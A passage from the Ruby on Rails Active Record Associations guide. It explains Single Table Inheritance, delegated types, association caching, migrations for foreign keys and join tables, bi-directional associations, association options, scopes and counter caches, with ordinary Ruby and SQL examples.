SELECT "vehicles".* FROM "vehicles" WHERE "vehicles"."type" IN ('Car')
```

### [5.5. Adding Specific Behavior](#adding-specific-behavior)

You can add specific behavior or methods to the child models. For example, adding a method to the `Car` model:

```
class Car < Vehicle
  def honk
    "Beep Beep"
  end
end
```

Now you can call the `honk` method on a `Car` instance:

```
car = Car.first
car.honk
# => 'Beep Beep'
```

### [5.6. Controllers](#controllers)

Each model can have its own controller. For example, the `CarsController`:

```
# app/controllers/cars_controller.rb

class CarsController < ApplicationController
  def index
    @cars = Car.all
  end
end
```

### [5.7. Overriding the inheritance column](#overriding-the-inheritance-column)

There may be cases (like when working with a legacy database) where you need to override the name of the inheritance column. This can be achieved with the [inheritance\_column](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ModelSchema.html#method-c-inheritance_column) method.

```
# Schema: vehicles[ id, kind, created_at, updated_at ]
class Vehicle < ApplicationRecord
  self.inheritance_column = "kind"
end

class Car < Vehicle
end

Car.create(color: "Red", price: 10000)
# => #<Car kind: "Car", color: "Red", price: 10000>
```

In this setup, Rails will use the `kind` column to store the model type, allowing STI to function correctly with the custom column name.

### [5.8. Disabling the inheritance column](#disabling-the-inheritance-column)

There may be cases (like when working with a legacy database) where you need to disable Single Table Inheritance altogether. If you don't disable STI properly, you might encounter an [`ActiveRecord::SubclassNotFound`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/SubclassNotFound.html) error.

To disable STI, you can set the [inheritance\_column](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ModelSchema.html#method-c-inheritance_column) to `nil`.

```
# Schema: vehicles[ id, type, created_at, updated_at ]
class Vehicle < ApplicationRecord
  self.inheritance_column = nil
end

Vehicle.create!(type: "Car", color: "Red", price: 10000)
# => #<Vehicle type: "Car", color: "Red", price: 10000>
```

In this configuration, Rails will treat the type column as a normal attribute and will not use it for STI purposes. This is useful if you need to work with a legacy schema that does not follow the STI pattern.

These adjustments provide flexibility when integrating Rails with existing databases or when specific customization is required for your models.

### [5.9. Considerations](#considerations)

[`Single Table Inheritance (STI)`](#single-table-inheritance-sti) works best when there is little difference between subclasses and their attributes, but it includes all attributes of all subclasses in a single table.

A disadvantage of this approach is that it can result in table bloat, as the table will include attributes specific to each subclass, even if they aren't used by others. This can be solved by using [`Delegated Types`](#delegated-types).

Additionally, if you’re using [polymorphic associations](#polymorphic-associations), where a model can belong to more than one other model via a type and an ID, it could become complex to maintain referential integrity because the association logic must handle different types correctly.

Finally, if you have specific data integrity checks or validations that differ between subclasses, you need to ensure these are correctly handled by Rails or the database, especially when setting up foreign key constraints.

## [6. Delegated Types](#delegated-types)

Delegated types solves the [`Single Table Inheritance (STI)`](#single-table-inheritance-sti) problem of table bloat via `delegated_type`. This approach allows us to store shared attributes in a superclass table and have separate tables for subclass-specific attributes.

### [6.1. Setting up Delegated Types](#setting-up-delegated-types)

To use delegated types, we need to model our data as follows:

* There is a superclass that stores shared attributes among all subclasses in its table.
* Each subclass must inherit from the superclass, and will have a separate table for any additional attributes specific to it.

This eliminates the need to define attributes in a single table that are unintentionally shared among all subclasses.

### [6.2. Generating Models](#generating-models)

In order to apply this to our example above, we need to regenerate our models.

First, let's generate the base `Entry` model which will act as our superclass:

```
$ bin/rails generate model entry entryable_type:string entryable_id:integer
```

Then, we will generate new `Message` and `Comment` models for delegation:

```
$ bin/rails generate model message subject:string body:string
$ bin/rails generate model comment content:string
```

If you don't specify a type for a field (e.g., `subject` instead of `subject:string`), Rails will default to type `string`.

After running the generators, our models should look like this:

```
# Schema: entries[ id, entryable_type, entryable_id, created_at, updated_at ]
class Entry < ApplicationRecord
end

# Schema: messages[ id, subject, body, created_at, updated_at ]
class Message < ApplicationRecord
end

# Schema: comments[ id, content, created_at, updated_at ]
class Comment < ApplicationRecord
end
```

### [6.3. Declaring `delegated_type`](#declaring-delegated-type)

First, declare a `delegated_type` in the superclass `Entry`.

```
class Entry < ApplicationRecord
  delegated_type :entryable, types: %w[ Message Comment ], dependent: :destroy
end
```

The `entryable` parameter specifies the field to use for delegation, and include the types `Message` and `Comment` as the delegate classes. The `entryable_type` and `entryable_id` fields store the subclass name and the record ID of the delegate subclass, respectively.

### [6.4. Defining the `Entryable` Module](#defining-the-entryable-module)

Next, define a module to implement those delegated types by declaring the `as: :entryable` parameter in the `has_one` association.

```
module Entryable
  extend ActiveSupport::Concern

  included do
    has_one :entry, as: :entryable, touch: true
  end
end
```

Include the created module in your subclass:

```
class Message < ApplicationRecord
  include Entryable
end

class Comment < ApplicationRecord
  include Entryable
end
```

With this definition complete, our `Entry` delegator now provides the following methods:

| Method                  | Return                                                                          |
| ----------------------- | ------------------------------------------------------------------------------- |
| `Entry.entryable_types` | \["Message", "Comment"]                                                         |
| `Entry#entryable_class` | Message or Comment                                                              |
| `Entry#entryable_name`  | "message" or "comment"                                                          |
| `Entry.messages`        | `Entry.where(entryable_type: "Message")`                                        |
| `Entry#message?`        | Returns true when `entryable_type == "Message"`                                 |
| `Entry#message`         | Returns the message record, when `entryable_type == "Message"`, otherwise `nil` |
| `Entry#message_id`      | Returns `entryable_id`, when `entryable_type == "Message"`, otherwise `nil`     |
| `Entry.comments`        | `Entry.where(entryable_type: "Comment")`                                        |
| `Entry#comment?`        | Returns true when `entryable_type == "Comment"`                                 |
| `Entry#comment`         | Returns the comment record, when `entryable_type == "Comment"`, otherwise `nil` |
| `Entry#comment_id`      | Returns entryable\_id, when `entryable_type == "Comment"`, otherwise `nil`      |

### [6.5. Object creation](#object-creation)

When creating a new `Entry` object, we can specify the `entryable` subclass at the same time.

```
Entry.create! entryable: Message.new(subject: "hello!")
```

### [6.6. Adding further delegation](#adding-further-delegation)

We can enhance our `Entry` delegator by defining `delegate` and using polymorphism on the subclasses. For example, to delegate the `title` method from `Entry` to its subclasses:

```
class Entry < ApplicationRecord
  delegated_type :entryable, types: %w[ Message Comment ]
  delegate :title, to: :entryable
end

class Message < ApplicationRecord
  include Entryable

  def title
    subject
  end
end

class Comment < ApplicationRecord
  include Entryable

  def title
    content.truncate(20)
  end
end
```

This setup allows `Entry` to delegate the `title` method to its subclasses, where `Message` uses `subject` and `Comment` uses a truncated version of `content`.

## [7. Tips, Tricks, and Warnings](#tips-tricks-and-warnings)

Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

* Controlling caching
* Avoiding name collisions
* Updating the schema
* Controlling association scope
* Bi-directional associations

### [7.1. Controlling Association Caching](#controlling-association-caching)

All of the association methods are built around caching, which keeps the result of loaded associations for further operations. The cache is even shared across methods. For example:

```
# retrieves books from the database
author.books.load

# uses the cached copy of books
author.books.size

# uses the cached copy of books
author.books.empty?
```

When we use `author.books`, the data is not immediately loaded from the database. Instead, it sets up a query that will be executed when you actually try to use the data, for example, by calling methods that require data like each, size, empty?, etc. By calling `author.books.load`, before calling other methods which use the data, you explicitly trigger the query to load the data from the database immediately. This is useful if you know you will need the data and want to avoid the potential performance overhead of multiple queries being triggered as you work with the association.

But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call [`reload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Relation.html#method-i-reload) on the association:

```
# retrieves books from the database
author.books.load

# uses the cached copy of books
author.books.size

# discards the cached copy of books and goes back to the database
author.books.reload.empty?
```

### [7.2. Avoiding Name Collisions](#avoiding-name-collisions)

When creating associations in Ruby on Rails models, it's important to avoid using names that are already used for instance methods of `ActiveRecord::Base`. This is because creating an association with a name that clashes with an existing method could lead to unintended consequences, such as overriding the base method and causing issues with functionality. For example, using names like `attributes` or `connection` for associations would be problematic.

### [7.3. Updating the Schema](#updating-the-schema)

Associations are extremely useful, they are responsible for defining the relationships between models but they do not update your database schema. You are responsible for maintaining your database schema to match your associations. This usually involves two main tasks: creating foreign keys for [`belongs_to` associations](#belongs-to) and setting up the correct join table for [`has_many :through`](#has-many-through) and [`has_and_belongs_to_many`](#has-and-belongs-to-many) associations. You can read more about when to use a `has_many :through vs has_and_belongs_to_many` [in the has many through vs has and belongs to many section](#has-many-through-vs-has-and-belongs-to-many).

#### [7.3.1. Creating Foreign Keys for `belongs_to` Associations](#creating-foreign-keys-for-belongs-to-associations)

When you declare a [`belongs_to` association](#belongs-to), you need to create foreign keys as appropriate. For example, consider this model:

```
class Book < ApplicationRecord
  belongs_to :author
end
```

This declaration needs to be backed up by a corresponding foreign key column in the books table. For a brand new table, the migration might look something like this:

```
class CreateBooks < ActiveRecord::Migration[8.1]
  def change
    create_table :books do |t|
      t.datetime   :published_at
      t.string     :book_number
      t.belongs_to :author
    end
  end
end
```

Whereas for an existing table, it might look like this:

```
class AddAuthorToBooks < ActiveRecord::Migration[8.1]
  def change
    add_reference :books, :author
  end
end
```

#### [7.3.2. Creating Join Tables for `has_and_belongs_to_many` Associations](#creating-join-tables-for-has-and-belongs-to-many-associations)

If you create a `has_and_belongs_to_many` association, you need to explicitly create the join table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between author and book models will give the default join table name of "authors\_books" because "a" outranks "b" in lexical ordering.

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

```
class Assembly < ApplicationRecord
  has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end
```

These need to be backed up by a migration to create the `assemblies_parts` table.

```
$ bin/rails generate migration CreateAssembliesPartsJoinTable assemblies parts
```

You can then fill out the migration and ensure that the table is created without a primary key.

```
class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[8.1]
  def change
    create_table :assemblies_parts, id: false do |t|
      t.bigint :assembly_id
      t.bigint :part_id
    end

    add_index :assemblies_parts, :assembly_id
    add_index :assemblies_parts, :part_id
  end
end
```

We pass `id: false` to `create_table` because the join table does not represent a model. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot to set `id: false` when creating your migration.

For simplicity, you can also use the method `create_join_table`:

```
class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[8.1]
  def change
    create_join_table :assemblies, :parts do |t|
      t.index :assembly_id
      t.index :part_id
    end
  end
end
```

You can read more about the `create_join_table` method in the [Active Record Migration Guides](active_record_migrations.html#creating-a-join-table)

#### [7.3.3. Creating Join Tables for `has_many :through` Associations](#creating-join-tables-for-has-many-through-associations)

The main difference in schema implementation between creating a join table for `has_many :through` vs `has_and_belongs_to_many` is that the join table for a `has_many :through` requires an `id`.

```
class CreateAppointments < ActiveRecord::Migration[8.1]
  def change
    create_table :appointments do |t|
      t.belongs_to :physician
      t.belongs_to :patient
      t.datetime :appointment_date
      t.timestamps
    end
  end
end
```

### [7.4. Controlling Association Scope](#controlling-association-scope)

By default, associations look for objects only within the current module's scope. This feature is particularly useful when declaring Active Record models inside a module, as it keeps the associations scoped properly. For example:

```
module MyApplication
  module Business
    class Supplier < ApplicationRecord
      has_one :account
    end

    class Account < ApplicationRecord
      belongs_to :supplier
    end
  end
end
```

In this example, both the `Supplier` and `Account` classes are defined within the same module (`MyApplication::Business`). This organization allows you to structure your models into folders based on their scope without needing to explicitly specify the scope in every association:

```
# app/models/my_application/business/supplier.rb
module MyApplication
  module Business
    class Supplier < ApplicationRecord
      has_one :account
    end
  end
end
```

```
# app/models/my_application/business/account.rb
module MyApplication
  module Business
    class Account < ApplicationRecord
      belongs_to :supplier
    end
  end
end
```

It is important to note that while model scoping helps organize your code, it does not change the naming convention for your database tables. For instance, if you have a `MyApplication::Business::Supplier` model, the corresponding database table should still follow the naming convention and be named `my_application_business_suppliers`.

However, if the `Supplier` and `Account` models are defined in different scopes, the associations will not work by default:

```
module MyApplication
  module Business
    class Supplier < ApplicationRecord
      has_one :account
    end
  end

  module Billing
    class Account < ApplicationRecord
      belongs_to :supplier
    end
  end
end
```

To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:

```
module MyApplication
  module Business
    class Supplier < ApplicationRecord
      has_one :account,
        class_name: "MyApplication::Billing::Account"
    end
  end

  module Billing
    class Account < ApplicationRecord
      belongs_to :supplier,
        class_name: "MyApplication::Business::Supplier"
    end
  end
end
```

By explicitly declaring the `class_name` option, you can create associations across different namespaces, ensuring the correct models are linked regardless of their module scope.

### [7.5. Bi-directional Associations](#bi-directional-associations)

In Rails, it's common for associations between models to be bi-directional, meaning they need to be declared in both related models. Consider the following example:

```
class Author < ApplicationRecord
  has_many :books
end

class Book < ApplicationRecord
  belongs_to :author
end
```

Active Record will attempt to automatically identify that these two models share a bi-directional association based on the association name. This information allows Active Record to:

* Prevent needless queries for already-loaded data:

  Active Record avoids additional database queries for already-loaded data.

  ```
  irb> author = Author.first
  irb> author.books.all? do |book|
  irb>   book.author.equal?(author) # No additional queries executed here
  irb> end
  => true
  ```

* Prevent inconsistent data

  Since only one copy of the `Author` object is loaded, it helps to prevent inconsistencies.

  ```
  irb> author = Author.first
  irb> book = author.books.first
  irb> author.name == book.author.name
  => true
  irb> author.name = "Changed Name"
  irb> author.name == book.author.name
  => true
  ```

* Automatic saving of associations in more cases:

  ```
  irb> author = Author.new
  irb> book = author.books.new
  irb> book.save!
  irb> book.persisted?
  => true
  irb> author.persisted?
  => true
  ```

* Validate the [presence](active_record_validations.html#presence) and [absence](active_record_validations.html#absence) of associations in more cases:

  ```
  irb> book = Book.new
  irb> book.valid?
  => false
  irb> book.errors.full_messages
  => ["Author must exist"]
  irb> author = Author.new
  irb> book = author.books.new
  irb> book.valid?
  => true
  ```

Sometimes, you might need to customize the association with options like `:foreign_key` or `:class_name`. When you do this, Rails might not automatically recognize the bi-directional association involving `:through` or `:foreign_key` options.

Custom scopes on the opposite association also prevent automatic identification, as do custom scopes on the association itself unless [`config.active_record.automatic_scope_inversing`](configuring.html#config-active-record-automatic-scope-inversing) is set to true.

For example, consider the following model declarations with a custom foreign key:

```
class Author < ApplicationRecord
  has_many :books
end

class Book < ApplicationRecord
  belongs_to :writer, class_name: "Author", foreign_key: "author_id"
end
```

Due to the `:foreign_key` option, Active Record will not automatically recognize the bi-directional association, which can lead to several issues:

* Execute needless queries for the same data (in this example causing N+1 queries):

  ```
  irb> author = Author.first
  irb> author.books.any? do |book|
  irb>   book.writer.equal?(author) # This executes an author query for every book
  irb> end
  => false
  ```

* Reference multiple copies of a model with inconsistent data:

  ```
  irb> author = Author.first
  irb> book = author.books.first
  irb> author.name == book.writer.name
  => true
  irb> author.name = "Changed Name"
  irb> author.name == book.writer.name
  => false
  ```

* Fail to autosave associations:

  ```
  irb> author = Author.new
  irb> book = author.books.new
  irb> book.save!
  irb> book.persisted?
  => true
  irb> author.persisted?
  => false
  ```

* Fail to validate presence or absence:

  ```
  irb> author = Author.new
  irb> book = author.books.new
  irb> book.valid?
  => false
  irb> book.errors.full_messages
  => ["Author must exist"]
  ```

To resolve these issues, you can explicitly declare bi-directional associations using the `:inverse_of` option:

```
class Author < ApplicationRecord
  has_many :books, inverse_of: "writer"
end

class Book < ApplicationRecord
  belongs_to :writer, class_name: "Author", foreign_key: "author_id"
end
```

By including the `:inverse_of` option in the `has_many` association declaration, Active Record will recognize the bi-directional association and behave as described in the initial examples above.

## [8. Association References](#association-references)

### [8.1. Options](#options)

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the association references. Such customizations can be accomplished by passing options blocks when you create the association. For example, this association uses two such options:

```
class Book < ApplicationRecord
  belongs_to :author, touch: :books_updated_at,
    counter_cache: true
end
```

Each association supports numerous options which you can read more about in [`Options` section of each association in the ActiveRecord Associations API](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html). We'll discuss some of the common use cases below.

#### [8.1.1. `:class_name`](#class-name)

If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is `Patron`, you'd set things up this way:

```
class Book < ApplicationRecord
  belongs_to :author, class_name: "Patron"
end
```

This option is not supported in polymorphic associations, since in that case the class name of the associated record is stored in the type column.

#### [8.1.2. `:dependent`](#dependent)

Controls what happens to the associated object when its owner is destroyed:

* `:destroy`, when the object is destroyed, `destroy` will be called on its associated objects. This method not only removes the associated records from the database but also ensures that any defined callbacks (like `before_destroy` and `after_destroy`) are executed. This is useful for performing custom logic during the deletion process, such as logging or cleaning up related data.
* `:delete`, when the object is destroyed, all its associated objects will be deleted directly from the database without calling their `destroy` method. This method performs a direct deletion and bypasses any callbacks or validations in the associated models, making it more efficient but potentially leading to data integrity issues if important cleanup tasks are skipped. Use `delete` when you need to remove records quickly and are confident that no additional actions are required for the associated records.
* `:destroy_async`: when the object is destroyed, an `ActiveRecord::DestroyAssociationAsyncJob` job is enqueued which will call destroy on its associated objects. Active Job must be set up for this to work. Do not use this option if the association is backed by foreign key constraints in your database. The foreign key constraint actions will occur inside the same transaction that deletes its owner.
* `:nullify` causes the foreign key to be set to `NULL`. Polymorphic type column is also nullified on polymorphic associations. Callbacks are not executed.
* `:restrict_with_exception` causes an `ActiveRecord::DeleteRestrictionError` exception to be raised if there is an associated record
* `:restrict_with_error` causes an error to be added to the owner if there is an associated object

You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database because destroying the parent object may attempt to destroy its children, which in turn may attempt to destroy the parent again, causing inconsistencies.

Do not leave the `:nullify` option for associations with `NOT NULL` database constraints. Setting `dependent` to `:destroy` is essential; otherwise, the foreign key of the associated object may be set to `NULL`, preventing changes to it.

The `:dependent` option is ignored with the `:through` option. When using `:through`, the join model must have a `belongs_to` association, and the deletion affects only the join records, not the associated records.

When using `dependent: :destroy` on a scoped association, only the scoped objects are destroyed. For example, in a `Post` model defined as `has_many :comments, -> { where published: true }, dependent: :destroy`, calling destroy on a post will only delete published comments, leaving unpublished comments intact with a foreign key pointing to the deleted post.

You cannot use the `:dependent` option directly on a `has_and_belongs_to_many` association. To manage deletions of join table records, handle them manually or switch to a `has_many :through` association, which provides more flexibility and supports the `:dependent` option.

#### [8.1.3. `:foreign_key`](#foreign-key)

By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:

```
class Supplier < ApplicationRecord
  has_one :account, foreign_key: "supp_id"
end
```

Rails does not create foreign key columns for you. You need to explicitly define them in your migrations.

#### [8.1.4. `:primary_key`](#primary-key)

By default, Rails uses the `id` column as the primary key for its tables. The `:primary_key` option allows you to specify a different column as the primary key.

For example, if the `users` table uses `guid` as the primary key instead of `id`, and you want the `todos` table to reference `guid` as a foreign key (`user_id`), you can configure it like this:

```
class User < ApplicationRecord
  self.primary_key = "guid" # Sets the primary key to guid instead of id
end

class Todo < ApplicationRecord
  belongs_to :user, primary_key: "guid" # References the guid column in users table
end
```

When you execute `@user.todos.create`, the `@todo` record will have its `user_id` value set to the `guid` value of `@user`.

`has_and_belongs_to_many` does not support the `:primary_key` option. For this type of association, you can achieve similar functionality by using a join table with has\_many `:through` association, which gives more flexibility and supports the `:primary_key` option. You can read more about this in the [`has_many :through` section](#has-many-through).

#### [8.1.5. `:touch`](#touch)

If you set the `:touch` option to `true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:

```
class Book < ApplicationRecord
  belongs_to :author, touch: true
end

class Author < ApplicationRecord
  has_many :books
end
```

In this case, saving or destroying a book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update:

```
class Book < ApplicationRecord
  belongs_to :author, touch: :books_updated_at
end
```

`has_and_belongs_to_many` does not support the `:touch` option. For this type of association, you can achieve similar functionality by using a join table with `has_many :through` association. You can read more about this in the [`has_many :through` section](#has-many-through).

#### [8.1.6. `:validate`](#validate)

If you set the `:validate` option to `true`, then new associated objects will be validated whenever you save this object. By default, this is `false`: new associated objects will not be validated when this object is saved.

`has_and_belongs_to_many` does not support the `:validate` option. For this type of association, you can achieve similar functionality by using a join table with has\_many `:through` association. You can read more about this in the [`has_many :through` section](#has-many-through).

#### [8.1.7. `:inverse_of`](#inverse-of)

The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. See the [bi-directional association](#bi-directional-associations) section for more details.

```
class Supplier < ApplicationRecord
  has_one :account, inverse_of: :supplier
end

class Account < ApplicationRecord
  belongs_to :supplier, inverse_of: :account
end
```

#### [8.1.8. `:source_type`](#source-type)

The `:source_type` option specifies the source association type for a `has_many :through` association that proceeds through a [polymorphic association](#polymorphic-associations).

```
class Author < ApplicationRecord
  has_many :books
  has_many :paperbacks, through: :books, source: :format, source_type: "Paperback"
end

class Book < ApplicationRecord
  belongs_to :format, polymorphic: true
end

class Hardback < ApplicationRecord; end
class Paperback < ApplicationRecord; end
```

#### [8.1.9. `:strict_loading`](#strict-loading)

Enforces strict loading every time an associated record is loaded through this association.

#### [8.1.10. `:association_foreign_key`](#association-foreign-key)

The `:association_foreign_key` can be found on a `has_and_belongs_to_many` relationship. By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly. For example:

```
class User < ApplicationRecord
  has_and_belongs_to_many :friends,
      class_name: "User",
      foreign_key: "this_user_id",
      association_foreign_key: "other_user_id"
end
```

The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join.

#### [8.1.11. `:join_table`](#join-table)

The `:join_table` can be found on a `has_and_belongs_to_many` relationship. If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default.

#### [8.1.12. `:deprecated`](#deprecated)

If true, Active Record warns every time the association is used.

Three reporting modes are supported (`:warn`, `:raise`, and `:notify`), and backtraces can be enabled or disabled. Defaults are `:warn` mode and disabled backtraces.

Please, check the documentation of `ActiveRecord::Associations::ClassMethods` for further details.

### [8.2. Scopes](#scopes)

Scopes allow you to specify common queries that can be referenced as method calls on the association objects. This is useful for defining custom queries that are reused in multiple places in your application. For example:

```
class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies, -> { where active: true }
end
```

#### [8.2.1. General Scopes](#general-scopes)

You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:

* `where`
* `includes`
* `readonly`
* `select`

##### [8.2.1.1. `where`](#where)

The `where` method lets you specify the conditions that the associated object must meet.

```
class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies,
    -> { where "factory = 'Seattle'" }
end
```

You can also set conditions via a hash:

```
class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies,
    -> { where factory: "Seattle" }
end
```

If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create assemblies where the `factory` column has the value "Seattle".

##### [8.2.1.2. `includes`](#includes)

You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

```
class Supplier < ApplicationRecord
  has_one :account
end

class Account < ApplicationRecord
  belongs_to :supplier
  belongs_to :representative
end

class Representative < ApplicationRecord
  has_many :accounts
end
```

If you frequently retrieve representatives directly from suppliers (`@supplier.account.representative`), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

```
class Supplier < ApplicationRecord
  has_one :account, -> { includes :representative }
end

class Account < ApplicationRecord
  belongs_to :supplier
  belongs_to :representative
end

class Representative < ApplicationRecord
  has_many :accounts
end
```

There's no need to use `includes` for immediate associations - that is, if you have `Book belongs_to :author`, then the author is eager-loaded automatically when it's needed.

##### [8.2.1.3. `readonly`](#readonly)

If you use `readonly`, then the associated object will be read-only when retrieved via the association.

```
class Book < ApplicationRecord
  belongs_to :author, -> { readonly }
end
```

This is useful when you want to prevent the associated object from being modified through the association. For example, if you have a `Book` model that `belongs_to :author`, you can use `readonly` to prevent the author from being modified through the book:

```
@book.author = Author.first
@book.author.save! # This will raise an ActiveRecord::ReadOnlyRecord error
```

##### [8.2.1.4. `select`](#general-scopes-select)

The `select` method lets you override the SQL `SELECT` clause used to retrieve data about the associated object. By default, Rails retrieves all columns.

For example, if you have an `Author` model with many `Book`s, but you only want to retrieve the `title` of each book:

```
class Author < ApplicationRecord
  has_many :books, -> { select(:id, :title) } # Only select id and title columns
end

class Book < ApplicationRecord
  belongs_to :author
end
```

Now, when you access an author's books, only the `id` and `title` columns will be retrieved from the `books` table.

If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee correct results. For example:

```
class Book < ApplicationRecord
  belongs_to :author, -> { select(:id, :name) }, foreign_key: "author_id" # Only select id and name columns
end

class Author < ApplicationRecord
  has_many :books
end
```

In this case, when you access a book's author, only the `id` and `name` columns will be retrieved from the `authors` table.

#### [8.2.2. Collection Scopes](#collection-scopes)

`has_many` and `has_and_belongs_to_many` are associations that deal with collections of records, so you can use additional methods like `group`, `limit`, `order`, `select`, and `distinct` to customize the query used by the association.

##### [8.2.2.1. `group`](#group)

The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL.

```
class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies, -> { group "factory" }
end
```

##### [8.2.2.2. `limit`](#limit)

The `limit` method lets you restrict the total number of objects that will be fetched through an association.

```
class Parts < ApplicationRecord
  has_and_belongs_to_many :assemblies,
    -> { order("created_at DESC").limit(50) }
end
```

##### [8.2.2.3. `order`](#order)

The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause).

```
class Author < ApplicationRecord
  has_many :books, -> { order "date_confirmed DESC" }
end
```

##### [8.2.2.4. `select`](#collection-scopes-select)

The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.

If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.

##### [8.2.2.5. `distinct`](#distinct)

Use the `distinct` method to keep the collection free of duplicates. This is mostly useful together with the `:through` option.

```
class Person < ApplicationRecord
  has_many :readings
  has_many :articles, through: :readings
end
```

```
irb> person = Person.create(name: 'John')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
irb> person.articles.to_a
=> [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">]
irb> Reading.all.to_a
=> [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>]
```

In the above case there are two readings and `person.articles` brings out both of them even though these records are pointing to the same article.

Now let's set `distinct`:

```
class Person
  has_many :readings
  has_many :articles, -> { distinct }, through: :readings
end
```

```
irb> person = Person.create(name: 'Honda')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
irb> person.articles.to_a
=> [#<Article id: 7, name: "a1">]
irb> Reading.all.to_a
=> [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>]
```

In the above case there are still two readings. However `person.articles` shows only one article because the collection loads only unique records.

If you want to make sure that, upon insertion, all of the records in the persisted association are distinct (so that you can be sure that when you inspect the association that you will never find duplicate records), you should add a unique index on the table itself. For example, if you have a table named `readings` and you want to make sure the articles can only be added to a person once, you could add the following in a migration:

```
add_index :readings, [:person_id, :article_id], unique: true
```

Once you have this unique index, attempting to add the article to a person twice will raise an `ActiveRecord::RecordNotUnique` error:

```
irb> person = Person.create(name: 'Honda')
irb> article = Article.create(name: 'a1')
irb> person.articles << article
irb> person.articles << article
ActiveRecord::RecordNotUnique
```

Note that checking for uniqueness using something like `include?` is subject to race conditions. Do not attempt to use `include?` to enforce distinctness in an association. For instance, using the article example from above, the following code would be racy because multiple users could be attempting this at the same time:

```
person.articles << article unless person.articles.include?(article)
```

#### [8.2.3. Using the Association Owner](#using-the-association-owner)

You can pass the owner of the association as a single argument to the scope block for even more control over the association scope. However, be aware that doing this will make preloading the association impossible.

For example:

```
class Supplier < ApplicationRecord
  has_one :account, ->(supplier) { where active: supplier.active? }
end
```

In this example, the `account` association of the `Supplier` model is scoped based on the `active` status of the supplier.

By utilizing association extensions and scoping with the association owner, you can create more dynamic and context-aware associations in your Rails applications.

### [8.3. Counter Cache](#counter-cache)

The `:counter_cache` option in Rails helps improve the efficiency of finding the number of associated objects. Consider the following models:

```
class Book < ApplicationRecord
  belongs_to :author
end

class Author < ApplicationRecord
  has_many :books
end
```

By default, querying `author.books.size` results in a database call to perform a `COUNT(*)` query. To optimize this, you can add a counter cache to the *belonging* model (in this case, `Book`). This way, Rails can return the count directly from the cache without querying the database.

```
class Book < ApplicationRecord
  belongs_to :author, counter_cache: true
end

class Author < ApplicationRecord
  has_many :books
end
```

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method, avoiding the database call.

Although the `:counter_cache` option is specified on the model with the `belongs_to` declaration, the actual column must be added to the *associated* (in this case `has_many`) model. In this example, you need to add a `books_count` column to the `Author` model:

```
class AddBooksCountToAuthors < ActiveRecord::Migration[8.1]
  def change
    add_column :authors, :books_count, :integer, default: 0, null: false
  end
end
```

You can specify a custom column name in the `counter_cache` declaration instead of using the default `books_count`. For example, to use `count_of_books`:

```
class Book < ApplicationRecord
  belongs_to :author, counter_cache: :count_of_books
end

class Author < ApplicationRecord
  has_many :books
end
```

You only need to specify the `:counter_cache` option on the `belongs_to` side of the association.

Using counter caches on existing large tables can be troublesome. To avoid locking the table for too long, the column values must be backfilled separately from the column addition. This backfill must also happen before using `:counter_cache`; otherwise, methods like `size`, `any?`, etc., which rely on counter caches, may return incorrect results.

To backfill values safely while keeping counter cache columns updated with child record creation/removal and ensuring methods always get results from the database (avoiding potentially incorrect counter cache values), use `counter_cache: { active: false }`. This setting ensures that methods always fetch results from the database, avoiding incorrect values from an uninitialized counter cache. If you need to specify a custom column name, use `counter_cache: { active: false, column: :my_custom_counter }`.

